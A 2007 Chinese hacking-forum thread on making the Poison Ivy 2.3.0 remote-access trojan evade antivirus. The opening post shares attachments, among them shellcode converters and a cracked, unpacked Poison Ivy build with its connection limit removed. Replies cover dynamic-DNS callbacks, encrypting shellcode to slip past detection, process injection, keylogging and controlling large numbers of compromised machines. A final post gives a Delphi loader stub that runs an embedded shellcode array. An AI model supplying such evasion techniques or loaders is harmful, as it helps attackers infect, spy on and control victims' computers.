打印

[原创]关于 Posion Ivy 2.3.0 免杀的思路[6.30更新]

mika

技术核心组

Rank: 8 Rank: 8

E.S.T核心成员

帖子: 173
精华: 16
积分: 4224
阅读权限: 200
性别: 女
在线时间: 346 小时
注册时间: 2006-7-7
最后登录: 2008-8-27

发短消息
加为好友
当前离线

楼主大中小发表于 2007-6-22 21:32 只看该作者

[原创]关于 Posion Ivy 2.3.0 免杀的思路[6.30更新]

文章作者：mika[EST]

附件

bin2shellcode.rar (1 KB)

2007-6-22 21:32, 下载次数: 634

将二进制转化为shellcode形式

PIShellCode.zip (752 KB)

2007-6-22 21:32, 下载次数: 1448

delphi版的shellcode工具

Poison Ivy 2.3.0.unpacked-cracked.rar (674 KB)

2007-6-22 21:32, 下载次数: 1142

脱壳后的和修改了连接数限制的PI2.3

我的部落格：http://www.mikwawa.cn/

TOP

igotcha

晶莹剔透§烈日灼然

Rank: 1

帖子: 10
精华: 0
积分: 30
阅读权限: 40
性别: 男
在线时间: 187 小时
注册时间: 2007-3-22
最后登录: 2008-9-19

发短消息
加为好友
当前离线

沙发大中小发表于 2007-6-22 22:39 只看该作者

PI还支持Plugins,如果有高手能做个通过网站上的文件自动更新IP地址的就好了,就像是反弹木马那样~~~~
否则像我用ADSL这种动态IP的人就郁闷了~~~~~

TOP

xiao2004

荣誉会员

Rank: 6 Rank: 6 Rank: 6

E.S.T论坛贵宾

帖子: 454
精华: 16
积分: 1804
阅读权限: 100
性别: 男
在线时间: 223 小时
注册时间: 2005-3-19
最后登录: 2008-10-6

发短消息
加为好友
当前离线

椅子大中小发表于 2007-6-22 22:40 只看该作者

但说到底,好像没有教我们怎么变形..

TOP

mika

技术核心组

Rank: 8 Rank: 8

E.S.T核心成员

帖子: 173
精华: 16
积分: 4224
阅读权限: 200
性别: 女
在线时间: 346 小时
注册时间: 2006-7-7
最后登录: 2008-8-27

发短消息
加为好友
当前离线

板凳大中小发表于 2007-6-22 23:01 只看该作者

引用:

引用第3楼xiao2004于2007-06-22 22:40发表的 :
但说到底,好像没有教我们怎么变形..

因为要说变形那真的有太多话要说，而且涉及的东西又比较多一点，所以俺就偷偷懒只介绍一下思路吧。
不过针对PI来说，用最后我说的那种思路就足够应付了。

我的部落格：http://www.mikwawa.cn/

TOP

mika

技术核心组

Rank: 8 Rank: 8

E.S.T核心成员

帖子: 173
精华: 16
积分: 4224
阅读权限: 200
性别: 女
在线时间: 346 小时
注册时间: 2006-7-7
最后登录: 2008-8-27

发短消息
加为好友
当前离线

地板大中小发表于 2007-6-22 23:33 只看该作者

引用:

引用第2楼igotcha于2007-06-22 22:39发表的 :
PI还支持Plugins,如果有高手能做个通过网站上的文件自动更新IP地址的就好了,就像是反弹木马那样~~~~
否则像我用ADSL这种动态IP的人就郁闷了~~~~~

不是吧？

PI从一开始就支持动态域名的啊，你申请个动态域名不就得了？

我的部落格：http://www.mikwawa.cn/

TOP

qq998

晶莹剔透§烈日灼然

Rank: 1

帖子: 6
精华: 0
积分: 23
阅读权限: 40
性别: 男
在线时间: 59 小时
注册时间: 2006-9-15
最后登录: 2008-8-4

发短消息
加为好友
当前离线

6楼大中小发表于 2007-6-23 00:12 只看该作者

最好。能有一个。shellcode 加密的。可以设置加密钥匙。呵呵。这样免杀多方便。

TOP

aspshell

晶莹剔透§烈日灼然

Rank: 1

帖子: 17
精华: 0
积分: 59
阅读权限: 40
性别: 男
在线时间: 22 小时
注册时间: 2007-1-21
最后登录: 2007-8-9

发短消息
加为好友
当前离线

7楼大中小发表于 2007-6-24 15:29 只看该作者

PV 虽然是不错的东西``但是它的稳定性和连接限制`是最大的问题`
没有解决这二个问题``只能算是一个半成品的东西``
当然我说的是目前MS还没有人``破解````即使有破解的```稳定性也极差````
如果有兄弟```有比较稳定和无连接限制的``发短信告诉我下``谢谢````

TOP

mika

技术核心组

Rank: 8 Rank: 8

E.S.T核心成员

帖子: 173
精华: 16
积分: 4224
阅读权限: 200
性别: 女
在线时间: 346 小时
注册时间: 2006-7-7
最后登录: 2008-8-27

发短消息
加为好友
当前离线

8楼大中小发表于 2007-6-24 15:50 只看该作者

2.3已经非常稳定了，而且增加了插件的功能，修复了很多bug的。至于连接数的问题，俺不太懂破解。不过2.3支持多个client，有个麻烦的办法就是当连接数达到极限后再生成一个服务端和客户端，只是修改连接的端口就行。然后覆盖原来的，麻烦，不过俺觉得费神去破解那才麻烦呢

我的部落格：http://www.mikwawa.cn/

TOP

落叶树

荣誉会员

Rank: 6 Rank: 6 Rank: 6

E.S.T论坛贵宾

帖子: 910
精华: 42
积分: 5712
阅读权限: 100
性别: 男
在线时间: 554 小时
注册时间: 2004-8-21
最后登录: 2008-10-12

发短消息
加为好友
当前离线

9楼大中小发表于 2007-6-24 19:56 只看该作者

引用:

引用第7楼aspshell于2007-06-24 15:29发表的 :
PV 虽然是不错的东西``但是它的稳定性和连接限制`是最大的问题`
没有解决这二个问题``只能算是一个半成品的东西``
当然我说的是目前MS还没有人``破解````即使有破解的```稳定性也极差````
如果有兄弟```有比较稳定和无连接限制的``发短信告诉我下``谢谢````

http://bbs.pediy.com/showthread.php?t=39213

BLOG: http://blog.csdn.net/hkbyest

TOP

lhn

晶莹剔透§烈日灼然

Rank: 1

帖子: 28
精华: 0
积分: 79
阅读权限: 40
在线时间: 45 小时
注册时间: 2005-5-18
最后登录: 2008-9-6

发短消息
加为好友
当前离线

10楼 大中小发表于 2007-6-25 15:04 只看该作者

引用:

为了方便大家从bin格式的文件生成文本格式的shellcode，而且方便大家生成上面的C代码，我写了一个perl脚本用来帮助大家生成perl和c格式的shellcode，代码如下

本来就可以生成c的shellcode，多此一举！！
tapion 1.0c变形的bin不能超过1500字节，楼主你测试了没有呀？

TOP

mika

技术核心组

Rank: 8 Rank: 8

E.S.T核心成员

帖子: 173
精华: 16
积分: 4224
阅读权限: 200
性别: 女
在线时间: 346 小时
注册时间: 2006-7-7
最后登录: 2008-8-27

发短消息
加为好友
当前离线

11楼 大中小发表于 2007-6-25 18:07 只看该作者

引用:

引用第13楼lhn于2007-06-25 15:04发表的 :

本来就可以生成c的shellcode，多此一举！！
tapion 1.0c变形的bin不能超过1500字节，楼主你测试了没有呀？

不是多此哦，因为有一些shellcode变形工具变形生成出来的是bin格式的文件，所以你需要用这个脚本来转换。
tapion我没用过，我是用手工变形的。

我的部落格：http://www.mikwawa.cn/

TOP

mika

技术核心组

Rank: 8 Rank: 8

E.S.T核心成员

帖子: 173
精华: 16
积分: 4224
阅读权限: 200
性别: 女
在线时间: 346 小时
注册时间: 2006-7-7
最后登录: 2008-8-27

发短消息
加为好友
当前离线

12楼 大中小发表于 2007-6-28 10:08 只看该作者

在网上找到了一个工具，好像是famdiy组织上的，用delphi写的。它可以直接把shellcode生成为一个pe文件，省去你用编译器再去编译了。需要注意的是你在生成服务端时要选择delphi格式的shellcode才行，然后用这个工具处理一下。工具我更新到顶贴了！

我的部落格：http://www.mikwawa.cn/

TOP

aspshell

晶莹剔透§烈日灼然

Rank: 1

帖子: 17
精华: 0
积分: 59
阅读权限: 40
性别: 男
在线时间: 22 小时
注册时间: 2007-1-21
最后登录: 2007-8-9

发短消息
加为好友
当前离线

13楼 大中小发表于 2007-6-30 07:11 只看该作者

引用:

引用第10楼evilbogy于2007-06-24 19:56发表的 :

http://bbs.pediy.com/showthread.php?t=39213

看雪的这篇文章我看过``不过他只是教人如何去壳``却没有达到实质的稳定+连接限制等等解决``
所以也只能算脱壳一类的文章而已````所以向来不用PV````我一直再等牛人放出那稳定版本+无连接限制````我见过有大牛一下控制19W鸡鸡```可是人家不会给偶``花钱买``人家也舍不得卖```

TOP

mika

技术核心组

Rank: 8 Rank: 8

E.S.T核心成员

帖子: 173
精华: 16
积分: 4224
阅读权限: 200
性别: 女
在线时间: 346 小时
注册时间: 2006-7-7
最后登录: 2008-8-27

发短消息
加为好友
当前离线

14楼 大中小发表于 2007-6-30 11:06 只看该作者

楼上的弟弟，俺看了一下你说的那个帖子。俺学习了一下，把2.3的壳给撬开了，然后用0D学习了一下代码，顺便该了一下里面的连接数限制，现在是无连接数限制了。（不要拿去做坏事哦，否则小心被你自己的肉鸡给DDOS了，嘿嘿）。我把弄好的更新的顶贴了！嘿嘿

我的部落格：http://www.mikwawa.cn/

TOP

ljh1021

晶莹剔透§烈日灼然

Rank: 1

帖子: 16
精华: 0
积分: 58
阅读权限: 40
性别: 男
来自: 重庆
在线时间: 12 小时
注册时间: 2007-4-21
最后登录: 2008-5-5

发短消息
加为好友
当前离线

15楼 大中小发表于 2007-6-30 15:19 只看该作者

这个东西bug太多了，比如说你把它插入的那个进程结束掉（explorer、svchost等等），它的服务端里就会出现两个一模一样的东东。

还有连接端口这些东东在IS下一目了然。这样的隐蔽性，能让人放心吗？
最汗的是，中了之后鼠标会频繁地成漏斗状，虽然持续时间很短，但也够让人起疑了。

相对来说，我更喜欢玫瑰的ncph5.0，虽然很大一个IE进程比较碍眼，但也比poison稳定，而且要那么多功能干嘛，提供一个远程shell就足够了。

TOP

落叶树

荣誉会员

Rank: 6 Rank: 6 Rank: 6

E.S.T论坛贵宾

帖子: 910
精华: 42
积分: 5712
阅读权限: 100
性别: 男
在线时间: 554 小时
注册时间: 2004-8-21
最后登录: 2008-10-12

发短消息
加为好友
当前离线

16楼 大中小发表于 2007-6-30 16:34 只看该作者

引用:

引用第17楼aspshell于2007-06-30 07:11发表的 :

看雪的这篇文章我看过``不过他只是教人如何去壳``却没有达到实质的稳定+连接限制等等解决``
所以也只能算脱壳一类的文章而已````所以向来不用PV````我一直再等牛人放出那稳定版本+无连接限制````我见过有大牛一下控制19W鸡鸡```可是人家不会给偶``花钱买``人家也舍不得卖```

貌似您看帖不够仔细，前面是脱壳，后面才是破解连接限制啊...

BLOG: http://blog.csdn.net/hkbyest

TOP

xln28118

晶莹剔透§烈日灼然

Rank: 1

帖子: 43
精华: 0
积分: 136
阅读权限: 40
在线时间: 56 小时
注册时间: 2006-4-15
最后登录: 2008-8-29

发短消息
加为好友
当前离线

17楼 大中小发表于 2007-7-3 05:47 只看该作者

最近也在研究这个的免杀 19楼的我插SVCHOST 好象没出现你的状况 2003的，软件不错。。

TOP

网络幽灵

晶莹剔透§烈日灼然

Rank: 1

帖子: 55
精华: 2
积分: 231
阅读权限: 40
性别: 男
在线时间: 134 小时
注册时间: 2005-7-1
最后登录: 2008-10-6

发短消息
加为好友
当前离线

18楼 大中小发表于 2007-7-5 21:02 只看该作者

如果勾选了键盘纪录。。
运行后系统会短暂死屏幕、

我选择了插入进程svchost.exe
但是都不成功
XP-SP2

^_^ 社会需求将决定你的价值 ^_^

TOP

asoftforg

晶莹剔透§烈日灼然

Rank: 1

帖子: 1
精华: 0
积分: 6
阅读权限: 40
在线时间: 4 小时
注册时间: 2005-3-21
最后登录: 2007-11-26

发短消息
加为好友
当前离线

19楼 大中小发表于 2007-7-14 14:09 只看该作者

张贴一个DELPHI的的PE生成程序~

Put PI ShellCode (Delphi Format)There....

program server;

const
PIshellcode: array[0..6528] of byte =
(
//here insert Shellcode
);

var
ShellCodeProc:procedure;
begin

ShellCodeProc := @PIshellcode ;
ShellCodeProc();

end.

en因为喜爱所以相聚